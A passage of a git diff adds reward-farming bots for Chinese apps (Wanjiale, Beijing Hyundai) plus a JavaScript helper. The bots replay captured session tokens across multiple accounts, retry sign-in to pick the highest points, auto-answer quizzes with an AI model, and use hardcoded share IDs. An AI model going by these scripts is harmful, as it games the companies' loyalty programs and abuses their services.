} + } + checkEnv(ckName) { + const envSplitor = ["&", "\n"]; + let userCookie = (this.isNode() ? process.env[ckName] : "") || ""; + this.userList = userCookie.split(envSplitor.find((o) => userCookie.includes(o)) || "&").filter((n) => n); + this.userCount = this.userList.length; + this.log(`共找到${this.userCount}个账号`); + } + toStr(v) { + if (v instanceof Error) return v.stack || v.message; + if (v && typeof v == "object") try { return JSON.stringify(v) } catch { return "[Complex Object]" } + return String(v); + } + async sendMsg() { + this.log("==============📣Center 通知📣==============") + let message = this.notifyStr.join(this.logSeparator); + if (this.isNode()) { + try { + const { sendNotify } = require("./sendNotify.js") + await sendNotify(this.name, message); + } catch (e) { + console.error(e.code === "MODULE_NOT_FOUND" ? "发送通知失败: 未找到 sendNotify.js 模块" : `发送通知失败: sendNotify.js 内部错误 (${e.message})`); + } + + } + } + isNode() { + return "undefined" != typeof module && !!module.exports; + } + jsonToStr(obj, c = '&', encodeUrl = false) { + let ret = [] + for (let keys of Object.keys(obj).sort()) { + let v = obj[keys] + if (v && encodeUrl) v = encodeURIComponent(v) + ret.push(keys + '=' + v) + } + return ret.join(c); + } + getURLParams(url) { + try { return Object.fromEntries(new URL(url, "http://localhost").searchParams) } catch { return {} } + } + isJSONString(str) { + try { + return JSON.parse(str) && typeof JSON.parse(str) === "object"; + } catch (e) { + return false; + } + } + isJson(obj) { + var isjson = + typeof obj == "object" && + Object.prototype.toString.call(obj).toLowerCase() == + "[object object]" && + !obj.length; + return isjson; + } + + randomNumber(length) { + const characters = "0123456789"; + return Array.from( + { length }, + () => characters[Math.floor(Math.random() * characters.length)] + ).join(""); + } + randomString(length) { + const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; + return Array.from( + { length }, + () => characters[Math.floor(Math.random() * characters.length)] + ).join(""); + } + uuid() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace( + /[xy]/g, + function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + } + ); + } + time(t) { + let s = { + "M+": new Date().getMonth() + 1, + "d+": new Date().getDate(), + "H+": new Date().getHours(), + "m+": new Date().getMinutes(), + "s+": new Date().getSeconds(), + "q+": Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && + (t = t.replace( + RegExp.$1, + (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) + )); + for (let e in s) { + new RegExp("(" + e + ")").test(t) && + (t = t.replace( + RegExp.$1, + 1 == RegExp.$1.length + ? s[e] + : ("00" + s[e]).substr(("" + s[e]).length) + )); + } + return t; + } + + log(content) { + this.notifyStr.push(`[${this.time("HH:mm:ss")}]` + " " + this.toStr(content)) + console.log(content) + } + + wait(min, max = null) { + const ms = max == null ? min : Math.random() * (max - min + 1) + min | 0; + ms >= 1000 && this.log(`等待 ${(ms / 1000).toFixed(2)} 秒...`, { notify: false }); + return new Promise(r => setTimeout(r, ms)); + } + async done() { + await this.sendMsg(); + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log( + `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2` + ); + if (this.isNode()) { + process.exit(0); + } + } + parseCookie(ck) { + return typeof ck != "string" || !ck ? {} : Object.fromEntries( + ck.split(/;\s*/).filter(v => v.includes("=")).map(v => [v.slice(0, v.indexOf("=")), v.slice(v.indexOf("=") + 1)]) + ); + } + + })(t, s); +} +module.exports = { + Env +} \ No newline at end of file diff --git a/脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py b/脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py new file mode 100644 index 0000000..d9c9007 --- /dev/null +++ b/脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py @@ -0,0 +1,149 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py +# Repo: jdqlscript/toulu +# Path: 万家乐.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 1adde72027d2e2407e706ee56bc7821d9a59d7ee9b9729563ba68d0b55e6d593 +# Category: APP版/抓包 +# Evidence: cookie/token/authorization/header + +#by:哆啦A梦 +#TL库 +#https://github.com/3288588344/toulu.git +#抓包wakecloud.chinamacro.com域名中的cookie中钱sessionid +#多账号换行分割,一行一号 +#账号环境变量名WJL + + +import requests +import time +import os + +# 从环境变量中读取cookie +cookies = os.environ.get("WJL", "").split('\n') + +# 设置请求头 +headers = { + "Host": "wakecloud.chinamacro.com", + "Accept-Language": "zh", + "Content-Type": "application/json", + "Charset": "utf-8", + "Referer": "https://servicewechat.com/wx07b7a339bb2cf065/117/page-frame.html", + "Accept-Encoding": "gzip, deflate, br" +} + +# 签到URL +sign_url = "https://wakecloud.chinamacro.com/wd-member/app/member/sign" + +# 抽奖URL +draw_url = "https://wakecloud.chinamacro.com/mtool/app/luckywheel/draw" + +# 抽奖请求体 +draw_data = {"activityNo": 2025041400000001} + +# 获取公告信息 +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + + +def sign_in(session_id): + """签到功能""" + try: + # 更新请求头中的Cookie + headers["Cookie"] = f"sessionId={session_id}" + + response = requests.get(sign_url, headers=headers) + if response.status_code == 200: + result = response.json() + + if result.get("success", False): + print("签到成功!") + else: + print("签到失败,请检查原因。") + else: + print(f"签到请求失败,状态码: {response.status_code}") + except Exception as e: + print(f"签到发生错误: {e}") + +def draw_prize(session_id): + """抽奖功能,抽奖3次""" + try: + # 更新请求头中的Cookie + headers["Cookie"] = f"sessionId={session_id}" + + for i in range(3): + print(f"\n第 {i+1} 次抽奖中...") + response = requests.post(draw_url, headers=headers, json=draw_data) + + if response.status_code == 200: + result = response.json() + + + if result.get("success", False): + gift_name = result["data"]["giftName"] + print(f"恭喜你抽到了: {gift_name}") + else: + print("抽奖失败") + else: + print(f"抽奖请求失败,状态码: {response.status_code}") + + # 等待1秒再进行下一次抽奖 + time.sleep(1) + except Exception as e: + print(f"抽奖发生错误: {e}") + +def main(): + if not cookies: + print("环境变量WJL中没有找到sessionid,请检查配置。") + return + + for idx, cookie in enumerate(cookies, 1): + if not cookie.strip(): + continue + + print(f"\n===== 开始处理第 {idx} 个账户 =====") + session_id = cookie.strip() + + # 签到 + print("开始签到...") + sign_in(session_id) + + # 抽奖 + print("\n开始抽奖...") + draw_prize(session_id) + + print(f"===== 第 {idx} 个账户处理完成 =====\n") + +if __name__ == "__main__": + # 获取公告 + get_proclamation() + + # 执行主程序 + main() diff --git a/脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py b/脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py new file mode 100644 index 0000000..9cb2934 --- /dev/null +++ b/脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py @@ -0,0 +1,752 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/bjxd.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/bjxd.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/bjxd.py +# UploadedAt: 2026-04-02T02:22:19Z +# SHA256: a680cf465f0ac16d7a83b7b70762ad13ce94b713829255df0a6390cfde87402e +# Category: APP版/抓包 +# Evidence: cookie/token/authorization/header + +""" +北京现代 APP 自动任务脚本 +功能:自动完成签到、浏览文章、每日答题等任务 +new Env("北京现代"); +环境变量: + BJXD: str - 北京现代 APP api token (多个账号用英文逗号分隔,建议每个账号一个变量) + BJXD1/BJXD2/BJXD3: str - 北京现代 APP api token (每个账号一个变量) + BJXD_ANSWER: str - 预设答案 (可选, ABCD 中的一个) + AI_API_KEY: str - 通用 AI APIKey (可选) + AI_REQUEST_URL: str - 通用 AI 请求 URL (可选) + AI_MODEL: str - 通用 AI 模型名称 (可选) + AI_REQUEST_PARAMS: str - 通用 AI 请求参数 (可选, JSON 格式字符串) + HUNYUAN_API_KEY: str - 腾讯混元AI APIKey (已废弃,不建议使用) + GLM_API_KEY: str - 智谱 GLM AI APIKey (已废弃,不建议使用) + +cron: 25 6 * * * +""" + +import os +import random +import time +import json +from datetime import datetime +from typing import List, Dict, Any +import requests +from urllib3.exceptions import InsecureRequestWarning, InsecurePlatformWarning + +# 禁用 SSL 警告 +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +requests.packages.urllib3.disable_warnings(InsecurePlatformWarning) + + +class BeiJingHyundai: + """北京现代APP自动任务类""" + + # 基础配置 + NAME = "北京现代 APP 自动任务" + BASE_URL = "https://bm2-api.bluemembers.com.cn" + + # API endpoints + API_USER_INFO = "/v1/app/account/users/info" + API_MY_SCORE = "/v1/app/user/my_score" + API_TASK_LIST = "/v1/app/user/task/list" + API_SIGN_LIST = "/v1/app/user/reward_list" + API_SIGN_SUBMIT = "/v1/app/user/reward_report" + API_ARTICLE_LIST = "/v1/app/white/article/list2" + API_ARTICLE_DETAIL = "/v1/app/white/article/detail_app/{}" + API_ARTICLE_SCORE_SUBMIT = "/v1/app/score" + API_QUESTION_INFO = "/v1/app/special/daily/ask_info" + API_QUESTION_SUBMIT = "/v1/app/special/daily/ask_answer" + + # 预设的备用 share_user_hid 列表 + BACKUP_HIDS = [ + "a6688ec1a9ee429fa7b68d50e0c92b1f", + "bb8cd2e44c7b45eeb8cc5f7fa71c3322", + "5f640c50061b400c91be326c8fe0accd", + "55a5d82dacd9417483ae369de9d9b82d", + ] + + def __init__(self): + """初始化实例变量""" + self.token: str = "" # 当前用户token + self.user: Dict[str, Any] = {} # 当前用户信息 + self.users: List[Dict[str, Any]] = [] # 所有用户信息列表 + self.correct_answer: str = "" # 正确答案 + self.preset_answer: str = "" # 预设答案 + self.ai_hunyuan_api_key: str = "" # 腾讯混元AI APIKey(兼容旧环境变量) + self.ai_glm_api_key: str = "" # 智谱 GLM AI APIKey(兼容旧环境变量) + self.ai_api_key: str = "" # 通用 AI APIKey + self.ai_request_url: str = "" # AI 请求地址 + self.ai_model: str = "" # AI 模型 + self.ai_request_params: str = "" # AI 请求参数(JSON字符串格式) + self.wrong_answers: set = set() # 错误答案集合 + self.log_content: str = "" # 日志内容 + + def log(self, content: str, print_to_console: bool = True) -> None: + """添加日志""" + if print_to_console: + print(content) + self.log_content += content + "\n" + + def push_notification(self) -> None: + """推送通知""" + try: + QLAPI.notify(self.NAME, self.log_content) + except NameError: + print(f"\n\n🚀 推送通知\n\n{self.NAME}\n\n{self.log_content}") + + def make_request(self, method: str, endpoint: str, **kwargs) -> Dict[str, Any]: + """ + 发送API请求 + Args: + method: 请求方法 (GET/POST) + endpoint: API端点 + **kwargs: 请求参数 + Returns: + Dict[str, Any]: API响应数据 + """ + url = f"{self.BASE_URL}{endpoint}" + headers = {"token": self.token, "device": "iOS", "app-version": "8.31.2"} + if "headers" not in kwargs: + kwargs["headers"] = headers + else: + kwargs["headers"].update(headers) + try: + response = requests.request(method, url, timeout=30, **kwargs) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + + self.log(f"❌ API request failed: {str(e)}") + return {"code": -1, "msg": str(e)} + + def get_user_info(self) -> Dict[str, Any]: + """ + 获取用户信息 + Returns: + Dict[str, Any]: 用户信息字典,获取失败返回空字典 + """ + response = self.make_request("GET", self.API_USER_INFO) + print(f"get_user_info API response ——> {response}") + + if response.get("code") == 0: + data = response.get("data", {}) + # 直接生成掩码后的手机号 + masked_phone = f"{data.get('phone', '')[:3]}******{data.get('phone', '')[-2:]}" + return { + "token": self.token, + "hid": data.get("hid", ""), + "nickname": data.get("nickname", ""), + "phone": masked_phone, # 直接存储掩码后的手机号 + "score_value": data.get("score_value", 0), + "share_user_hid": "", + "task": {"sign": False, "view": False, "question": False}, + } + + self.log(f"❌ 账号已失效, 请重新获取 token: {self.token}") + return {} + + def get_score_details(self) -> None: + """显示积分详情,包括总积分、今日变动和最近记录""" + params = {"page_no": "1", "page_size": "10"} # 获取最近10条记录 + response = self.make_request("GET", self.API_MY_SCORE, params=params) + print(f"get_score_details API response ——> {response}") + + if response.get("code") == 0: + data = response.get("data", {}) + # 先获取今日记录 + today = datetime.now().strftime("%Y-%m-%d") + points_record = data.get("points_record", {}) + today_records = [ + record + for record in points_record.get("list", []) + if record.get("created_at", "").startswith(today) + ] + + # 计算今日积分变化 + today_score = sum( + int(record.get("score_str", "0").strip("+")) for record in today_records + ) + today_score_str = f"+{today_score}" if today_score > 0 else str(today_score) + self.log(f"🎉 总积分: {data.get('score', 0)} | 今日积分变动: {today_score_str}") + + # 输出今日积分记录 + if today_records: + self.log("今日积分记录:") + for record in today_records: + self.log( + f"{record.get('created_at', '')} {record.get('desc', '')} {record.get('score_str', '')}" + ) + else: + self.log("今日暂无积分变动") + + # 任务相关 + def check_task_status(self, user: Dict[str, Any]) -> None: + """检查任务状态""" + response = self.make_request("GET", self.API_TASK_LIST) + print(f"get_task_status API response ——> {response}") + + if response.get("code") != 0: + self.log(f'❌ 获取任务列表失败: {response.get("msg", "未知错误")}') + return + + actions = response.get("data", {}) + + # 检查签到任务 + if "action4" in actions: + user["task"]["sign"] = actions["action4"].get("status") == 1 + else: + self.log("❌ task list action4 签到任务 不存在") + + # 检查浏览文章任务 + if "action12" in actions: + user["task"]["view"] = actions["action12"].get("status") == 1 + else: + self.log("❌ task list action12 浏览文章任务 不存在") + + # 检查答题任务 + if "action39" in actions: + user["task"]["question"] = actions["action39"].get("status") == 1 + else: + self.log("❌ task list action39 答题任务 不存在") + + # 签到相关 + def get_sign_info(self) -> None: + """执行签到任务""" + max_attempts = 5 # 最大尝试次数 + best_score = 0 + best_params = None + + for attempt in range(max_attempts): + response = self.make_request("GET", self.API_SIGN_LIST) + print(f"get_sign_info (attempt {attempt + 1}) API response ——> {response}") + + if response.get("code") != 0: + self.log(f'❌ 获取签到列表失败: {response.get("msg", "未知错误")}') + break + + data = response.get("data", {}) + hid = data.get("hid", "") + reward_hash = data.get("rewardHash", "") + + for item in data.get("list", []): + if item.get("hid") == hid: + current_score = item.get("score", 0) + print( + f"第{attempt + 1}次获取签到列表: score={current_score} hid={hid} rewardHash={reward_hash}" + ) + + if current_score > best_score: + best_score = current_score + best_params = (hid, reward_hash, current_score) + print(f"当前可获得签到积分: {best_score}") + break + + if attempt < max_attempts - 1: # 不是最后一次循环 + print(f"继续尝试获取更高积分, 延时5-10s") + time.sleep(random.randint(5, 10)) + else: # 最后一次循环 即将提交签到 + print(f"即将提交签到, 延时3-4s") + time.sleep(random.randint(3, 4)) + + if best_params: + self.submit_sign(*best_params) + else: + self.log("❌ 未能获取到有效的签到参数") + + def submit_sign(self, hid: str, reward_hash: str, score: int) -> None: + """提交签到""" + json_data = { + "hid": hid, + "hash": reward_hash, + "sm_deviceId": "", + "ctu_token": None, + } + response = self.make_request("POST", self.API_SIGN_SUBMIT, json=json_data) + print(f"submit_sign API response ——> {response}") + + if response.get("code") == 0: + self.log(f"✅ 签到成功 | 积分 +{score}") + else: + self.log(f'❌ 签到失败: {response.get("msg", "未知错误")}') + + # 文章浏览相关 + def get_article_list(self) -> List[str]: + """获取文章列表""" + params = { + "page_no": "1", + "page_size": "20", + "type_hid": "", + } + response = self.make_request("GET", self.API_ARTICLE_LIST, params=params) + print(f"get_article_list API response ——> {response}") + + if response.get("code") == 0: + # 从文章列表中随机选择3个ID + data = response.get("data", {}) + article_list = [item.get("data_id", "") for item in data.get("list", []) if item.get("data_id")] + return random.sample(article_list, min(3, len(article_list))) + + self.log(f'❌ 获取文章列表失败: {response.get("msg", "未知错误")}') + return [] + + def get_article_detail(self, article_id: str) -> None: + """浏览文章""" + self.log(f"浏览文章 article_id: {article_id}") + endpoint = self.API_ARTICLE_DETAIL.format(article_id) + try: + # 调用make_request访问文章详情 + response = self.make_request("GET", endpoint) + # 记录响应状态,便于调试 + if response.get("code") == -1: + self.log(f"⚠️ 文章浏览异常: {response.get('msg', '未知错误')}") + else: + self.log(f"✅ 文章浏览成功") + except Exception as e: + # 捕获所有可能的异常,确保脚本不会在此处中断 + self.log(f"❌ 文章浏览过程中发生异常: {str(e)}") + + def submit_article_score(self) -> None: + """提交文章积分""" + json_data = { + "ctu_token": "", + "action": 12, + } + response = self.make_request( + "POST", self.API_ARTICLE_SCORE_SUBMIT, json=json_data + ) + print(f"submit_article_score API response ——> {response}") + + if response.get("code") == 0: + data = response.get("data", {}) + score = data.get("score", 0) + self.log(f"✅ 浏览文章成功 | 积分 +{score}") + else: + self.log(f'❌ 浏览文章失败: {response.get("msg", "未知错误")}') + + # 答题相关 + def get_question_info(self, share_user_hid: str) -> None: + """执行答题任务""" + params = {"date": datetime.now().strftime("%Y%m%d")} + response = self.make_request("GET", self.API_QUESTION_INFO, params=params) + print(f"get_question_info API response ——> {response}") + if response.get("code") != 0: + self.log(f'❌ 获取问题失败: {response.get("msg", "未知错误")}') + return + + data = response.get("data", {}) + # data['state'] 1=表示未答题 2=已答题且正确 3=答错且未有人帮忙答题 4=答错但有人帮忙答题 + if data.get("state") == 3: + self.log("今日已答题但回答错误,当前无人帮助答题,跳过") + return + if data.get("state") != 1: + if data.get("answer"): + answer = data.get("answer", [""])[0] + if answer in ["A", "B", "C", "D"]: + self.correct_answer = answer + self.log(f"今日已答题,跳过,答案:{answer}") + return + self.log("今日已答题,但未获取到答案,跳过") + return + + question_info = data.get("question_info", {}) + questions_hid = question_info.get("questions_hid", "") + + # 构建问题字符串,只包含未被标记为错误的选项 + question_str = f"{question_info.get('content', '')}\n" + valid_options = [] + for option in question_info.get("option", []): + if option.get("option") not in self.wrong_answers: + valid_options.append(option) + question_str += f'{option.get("option", "")}. {option.get("option_content", "")}\n' + else: + print(f"跳过错误选项 {option.get('option', '')}. {option.get('option_content', '')}") + + print(f"\n问题详情:\n{question_str}") + + # 如果只剩一个选项,直接使用 + if len(valid_options) == 1: + answer = valid_options[0]["option"] + self.log(f"仅剩一个选项,使用答案: {answer}") + time.sleep(random.randint(3, 5)) + self.submit_question_answer(questions_hid, answer, share_user_hid) + return + + # 获取答案并提交 + answer = self.get_question_answer(question_str) + + time.sleep(random.randint(3, 5)) + self.submit_question_answer(questions_hid, answer, share_user_hid) + + def get_ai_answer(self, question: str) -> str: + """获取通用AI答案""" + if not self.ai_api_key or not self.ai_request_url or not self.ai_model: + return "" + + headers = { + "Authorization": f"Bearer {self.ai_api_key}", + "Content-Type": "application/json", + } + + # 构建默认的消息内容 + system_prompt = "你是一位北京现代汽车品牌的专家,对车型配置非常熟悉。\n以下是一道单选题,请只从题目实际列出的选项里选择正确答案。\n注意:题目可能只给出 2 个或 3 个选项,并非永远 4 个。\n请仅输出对应选项的那个英文字母,不要输出任何其他字符。" + + # 构建默认的 json_data + json_data = { + "model": self.ai_model, + "messages": [ + {"role": "system", "content": system_prompt}, + {"role": "user", "content": question} + ] + } + + # 如果提供了额外的请求参数,合并到 json_data 中 + if self.ai_request_params: + try: + extra_params = json.loads(self.ai_request_params) + json_data.update(extra_params) + except json.JSONDecodeError as e: + print(f"❌ AI 请求参数解析失败: {str(e)}") + + try: + print(f"通用 AI API request ——> {json_data}") + response = requests.post( + self.ai_request_url, + headers=headers, + json=json_data, + ) + print(f"通用 AI API response status ——> {response.status_code}") + print(f"通用 AI API response text ——> {response.text}") + response.raise_for_status() + response_json = response.json() + + # 获取AI回答内容并转大写 + choices = response_json.get("choices", []) + if choices and len(choices) > 0: + message = choices[0].get("message", {}) + ai_response = message.get("content", "").upper() + else: + ai_response = "" + + # 使用集合操作找出有效答案 + valid_answers = set("ABCD") - self.wrong_answers + found_answers = set(ai_response) & valid_answers + + # 如果找到答案则返回其中一个 + if found_answers: + return found_answers.pop() + else: + self.log(f"❌ 没有找到符合的 AI 答案") + return "" + + except Exception as e: + self.log(f"通用 AI API 请求失败: {str(e)}") + + return "" + + def get_question_answer(self, question: str) -> str: + """获取答题答案""" + # 1. 存在正确答案时,使用正确答案 + if self.correct_answer: + self.log(f"使用历史正确答案: {self.correct_answer}") + return self.correct_answer + + # 2. 存在预设答案时,使用预设答案 + if self.preset_answer: + self.log(f"使用预设答案: {self.preset_answer}") + return self.preset_answer + + # 3. 存在AI配置时,使用通用AI方法获取答案 + if self.ai_api_key and self.ai_request_url and self.ai_model: + ai_answer = self.get_ai_answer(question) + if ai_answer: + self.log(f"使用 AI 答案: {ai_answer}") + return ai_answer + + # 4. 随机选择答案(排除错误答案) + answer = self.get_random_answer() + self.log(f"随机答题,答案: {answer}") + return answer + + def get_random_answer(self) -> str: + """获取随机答案,排除已知错误答案""" + available_answers = set(["A", "B", "C", "D"]) - self.wrong_answers + if not available_answers: + self.wrong_answers.clear() + available_answers = set(["A", "B", "C", "D"]) + return random.choice(list(available_answers)) + + def get_answered_question(self) -> None: + """从已答题账号获取答案""" + params = {"date": datetime.now().strftime("%Y%m%d")} + response = self.make_request("GET", self.API_QUESTION_INFO, params=params) + print(f"get_answered_question API response ——> {response}") + if response.get("code") != 0: + self.log(f'❌ 从已答题账号获取问题失败: {response.get("msg", "未知错误")}') + return + + data = response.get("data", {}) + # data['state'] 1=表示未答题 2=已答题且正确 4=已答题但错误 + if response.get("code") == 0 and data.get("answer"): + answer = data.get("answer", [""])[0] + if answer in ["A", "B", "C", "D"]: + self.correct_answer = answer + self.log(f"从已答题账号获取到答案:{answer}") + return + self.log("从已答题账号获取答案失败") + + def submit_question_answer( + self, question_id: str, answer: str, share_user_hid: str + ) -> None: + """提交答题答案""" + json_data = { + "answer": answer, + "questions_hid": question_id, + "ctu_token": "", + } + if share_user_hid: + json_data["date"] = datetime.now().strftime("%Y%m%d") + json_data["share_user_hid"] = share_user_hid + + response = self.make_request("POST", self.API_QUESTION_SUBMIT, json=json_data) + print(f"submit_question_answer API response ——> {response}") + + if response.get("code") == 0: + data = response.get("data", {}) + if data.get("state") == 3: # 答错 + # 记录错误答案 + self.wrong_answers.add(answer) + # 如果是正确答案,清除它 + if self.correct_answer == answer: + self.correct_answer = "" + # 如果是预设答案,清除它 + if self.preset_answer == answer: + self.preset_answer = "" + self.log("❌ 答题错误") + elif data.get("state") == 2: # 答对了 + if self.correct_answer != answer: + self.correct_answer = answer + score = data.get("answer_score", 0) + self.log(f"✅ 答题正确 | 积分 +{score}") + else: + self.log(f'❌ 答题失败: {response.get("msg", "未知错误")}') + + def get_backup_share_hid(self, user_hid: str) -> str: + """从备用 hid 列表中获取一个不同于用户自身的 hid""" + available_hids = [hid for hid in self.BACKUP_HIDS if hid != user_hid] + return random.choice(available_hids) if available_hids else "" + + def run(self) -> None: + """运行主程序""" + + try: + from dotenv import load_dotenv + load_dotenv() + print("✅ dotenv 成功加载 .env 文件") + except ImportError: + print("⚠️ 缺少 dotenv 库, 青龙环境请忽略, 本地运行请安装此库") + + # 使用列表保持顺序,使用集合实现去重 + tokens = [] + tokens_set = set() + + # 方式1: 从BJXD环境变量获取(逗号分隔的多个token) + token_str = os.getenv("BJXD") + if token_str: + # 过滤空值并保持顺序添加 + for token in token_str.split(","): + token = token.strip() + if token and token not in tokens_set: + tokens.append(token) + tokens_set.add(token) + + # 方式2: 从BJXD1/BJXD2/BJXD3等环境变量获取 + i = 1 + empty_count = 0 # 记录连续空值的数量 + while empty_count < 5: # 连续5个空值才退出 + token = os.getenv(f"BJXD{i}") + if not token: + empty_count += 1 + else: + token = token.strip() + if token and token not in tokens_set: # 确保token不是空字符串且未重复 + empty_count = 0 # 重置连续空值计数 + tokens.append(token) + tokens_set.add(token) + i += 1 + + if not tokens: + self.log( + "⛔️ 未获取到 tokens, 请检查环境变量 BJXD 或 BJXD1/BJXD2/... 是否填写" + ) + self.push_notification() + return + + self.log(f"👻 共获取到用户 token {len(tokens)} 个") + + # 获取新的 AI 配置参数 + self.ai_api_key = os.getenv("AI_API_KEY", "") + self.ai_request_url = os.getenv("AI_REQUEST_URL", "") + self.ai_model = os.getenv("AI_MODEL", "") + self.ai_request_params = os.getenv("AI_REQUEST_PARAMS", "") + + # 兼容旧的环境变量 + if not self.ai_api_key and not self.ai_request_url and not self.ai_model: + # 检查旧的腾讯混元 AI 配置 + self.ai_hunyuan_api_key = os.getenv("HUNYUAN_API_KEY", "") + if self.ai_hunyuan_api_key: + self.ai_api_key = self.ai_hunyuan_api_key + self.ai_request_url = "https://api.hunyuan.cloud.tencent.com/v1/chat/completions" + self.ai_model = "hunyuan-turbo" + self.ai_request_params = json.dumps({"enable_enhancement": True, "force_search_enhancement": True, "enable_instruction_search": True}) + self.log("💯 已获取到腾讯混元 AI 配置, 使用腾讯混元 AI 答题") + else: + self.log("😭 未设置腾讯混元 AI HUNYUAN_API_KEY 环境变量") + + # 检查旧的智谱 GLM AI 配置 + self.ai_glm_api_key = os.getenv("GLM_API_KEY", "") + if self.ai_glm_api_key: + self.ai_api_key = self.ai_glm_api_key + self.ai_request_url = "https://open.bigmodel.cn/api/paas/v4/chat/completions" + self.ai_model = "glm-4.5-flash" + self.ai_request_params = json.dumps({"do_sample": False}) + self.log("💯 已获取到智谱 GLM AI 配置, 使用智谱 GLM AI 答题") + else: + self.log("😭 未设置智谱 GLM AI GLM_API_KEY 环境变量") + else: + # 使用新的 AI 配置 + if self.ai_api_key and self.ai_request_url and self.ai_model: + self.log("💯 已获取到通用 AI 配置, 使用通用 AI 答题") + else: + self.log("⚠️ 通用 AI 配置不完整, 请检查 AI_API_KEY、AI_REQUEST_URL 和 AI_MODEL 环境变量") + + # 获取预设答案 + self.preset_answer = os.getenv("BJXD_ANSWER", "").upper() + if self.preset_answer: + if self.preset_answer in ["A", "B", "C", "D"]: + self.log(f"📝 已获取预设答案: {self.preset_answer}") + else: + self.preset_answer = "" + self.log("❌ 预设答案格式错误,仅支持 A/B/C/D") + + self.log("获取用户信息") + # 获取所有用户信息 + for token in tokens: + self.token = token + user = self.get_user_info() + if user: + self.users.append(user) + time.sleep(random.randint(3, 5)) + + if not self.users: + self.log("❌ 未获取到有效用户") + # 最后推送通知 + self.push_notification() + return + + # 设置分享用户ID + for i, user in enumerate(self.users): + prev_index = (i - 1) if i > 0 else len(self.users) - 1 + # 如果有多个用户且上一个用户不是自己,使用上一个用户的 hid + if len(self.users) > 1 and self.users[prev_index].get("hid") != user.get("hid"): + user["share_user_hid"] = self.users[prev_index].get("hid", "") + else: + # 否则从备用 hid 列表中选择一个 + user["share_user_hid"] = self.get_backup_share_hid(user.get("hid", "")) + + # 执行任务 + self.log("\n============ 执行任务 ============") + for i, user in enumerate(self.users, 1): + # 更新当前用户信息 + self.token = user["token"] + self.user = user + + # 随机延迟 + if i > 1: + print("\n进行下一个账号, 等待 5-10 秒...") + time.sleep(random.randint(5, 10)) + + self.log(f"\n======== ▷ 第 {i} 个账号 ◁ ========") + + # 打印用户信息 + self.log( + f"👻 用户名: {self.user.get('nickname', '未知')} | " + f"手机号: {self.user.get('phone', '未知')} | " + f"积分: {self.user.get('score_value', 0)}\n" + f"🆔 用户hid: {self.user.get('hid', '')}\n" + f"🆔 分享hid: {self.user.get('share_user_hid', '')}" + ) + + # 检查任务状态 + self.check_task_status(self.user) + self.log(f"任务状态: {self.user['task']}") + + # 调试使用 设置任务状态 + self.user["task"]["question"] = True + # self.user["task"]["sign"] = False + # self.user["task"]["view"] = False + + # 获取任务状态 + user_task = self.user.get("task", {}) + + # 任务:答题 + if not user_task.get("question"): + self.get_question_info(self.user.get("share_user_hid", "")) + else: + self.log("✅ 答题任务 已完成,跳过") + if not self.correct_answer: + self.get_answered_question() + + # 任务:签到 + if not user_task.get("sign"): + self.get_sign_info() + time.sleep(random.randint(5, 10)) + else: + self.log("✅ 签到任务 已完成,跳过") + + # 任务:阅读文章 + if not user_task.get("view"): + article_ids = self.get_article_list() + if article_ids: + for index, article_id in enumerate(article_ids): # 已经只有3篇了 + self.log(f"🔄 开始处理第 {index + 1}/{len(article_ids)} 篇文章") + try: + self.get_article_detail(article_id) + except Exception as e: + self.log(f"❌ 第 {index + 1} 篇文章处理失败: {str(e)}") + # 每篇文章之间的延迟 + time.sleep(random.randint(10, 15)) + # 所有文章处理完成后提交积分 + try: + self.submit_article_score() + except Exception as e: + self.log(f"❌ 提交文章积分失败: {str(e)}") + else: + self.log("✅ 浏览文章任务 已完成,跳过") + + self.log("\n============ 积分详情 ============") + for i, user in enumerate(self.users, 1): + if i > 1: + print("\n进行下一个账号, 等待 5-10 秒...") + time.sleep(random.randint(5, 10)) + + # 更新当前用户信息 + self.token = user["token"] + self.user = user + + self.log(f"\n======== ▷ 第 {i} 个账号 ◁ ========") + + # 打印用户信息 + self.log( + f"👻 用户名: {self.user.get('nickname', '未知')} | 手机号: {self.user.get('phone', '未知')}" + ) + + # 显示积分详情 + self.get_score_details() + + # 最后推送通知 + self.push_notification() + + +if __name__ == "__main__": + BeiJingHyundai().run() \ No newline at end of file diff --git 